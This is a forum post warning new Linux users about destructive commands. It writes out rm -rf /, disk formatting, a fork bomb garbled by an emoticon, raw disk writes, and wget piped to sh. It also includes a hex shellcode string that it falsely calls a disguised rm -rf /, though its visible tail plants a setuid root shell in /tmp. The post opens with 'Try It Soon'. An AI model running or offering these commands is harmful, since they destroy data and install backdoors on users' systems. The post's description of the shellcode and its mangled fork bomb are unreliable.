Top deadly linux commands .:: Dare to enter it ::.

sanjeeme

Well-known member
  • Mar 12, 2008
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    Colombo
    Here Is Th Coding.......

    Try It Soon.......

    DESCRIPTION:
    ***********

    If you are new to Linux, chances are you will meet a stupid person perhaps in a forum or chat room that can trick you into using commands that will harm your files or even your entire operating system. To avoid this dangerous scenario from happening, I have here a list of deadly Linux commands that you should avoid.


    1. Code:

    rm -rf /

    This command will recursively and forcefully delete all the files inside the root directory.


    2. Code:

    char esp[] __attribute__ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\ x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\ x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\ xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\ x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\ x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\ x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";

    This is the hex version of [rm -rf /] that can deceive even the rather experienced Linux users.

    3. Code:

    mkfs.ext3 /dev/sda

    This will reformat or wipeout all the files of the device that is mentioned after the mkfs command.


    4. Code:

    frown.gif
    ){:|:&};:


    Known as forkbomb, this command will tell your system to execute a huge number of processes until the system freezes. This can often lead to corruption of data.


    5. Code:

    any_command > /dev/sda

    With this command, raw data will be written to a block device that can usually clobber the filesystem resulting in total loss of data.

    6. Code:

    wget http:// some_untrusted_source -O- | sh

    Never download from untrusted sources, and then execute the possibly malicious codes that they are giving you.

    7. Code:

    mv /home/yourhomedirectory/* /dev/null

    This command will move all the files inside your home directory to a place that doesn't exist; hence you will never ever see those files again.


    There are of course other equally deadly Linux commands that I fail to include here, so if you have something to add, please share it with us via comment.